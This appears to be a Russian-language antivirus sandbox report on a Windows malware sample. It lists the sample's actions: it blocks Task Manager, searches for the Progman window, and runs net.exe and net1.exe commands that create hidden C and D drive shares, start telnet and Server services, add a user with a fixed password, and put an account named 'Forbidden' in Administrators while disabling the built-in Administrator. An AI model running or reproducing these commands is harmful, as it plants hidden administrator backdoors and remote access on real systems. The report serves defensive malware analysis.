Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
Другое
Ищет следующие окна
- ClassName: 'Progman' WindowName: ''
Запускает на исполнение
- '%WINDIR%\syswow64\net.exe' share houmen$=c:\
- '%WINDIR%\syswow64\net.exe' share houmen2$=d:\
- '%WINDIR%\syswow64\net.exe' start telnet
- '%WINDIR%\syswow64\net.exe' start Server
- '%WINDIR%\syswow64\net.exe' user ÃÜÂë¼ÓQQ485027452 asdfghjkl /add
- '%WINDIR%\syswow64\net.exe' user Forbidden /active:yes
- '%WINDIR%\syswow64\net.exe' localgroup Administrators Forbidden /add
- '%WINDIR%\syswow64\net.exe' user Administrator /active:no
- '%WINDIR%\syswow64\net1.exe' start telnet
- '%WINDIR%\syswow64\net1.exe' share houmen$=c:\
- '%WINDIR%\syswow64\net1.exe' user Administrator /active:no
- '%WINDIR%\syswow64\net1.exe' localgroup Administrators Forbidden /add
- '%WINDIR%\syswow64\net1.exe' start Server
- '%WINDIR%\syswow64\net1.exe' user Forbidden /active:yes
- '%WINDIR%\syswow64\net1.exe' user ÃÜÂë¼ÓQQ485027452 asdfghjkl /add
- '%WINDIR%\syswow64\net1.exe' share houmen2$=d:\
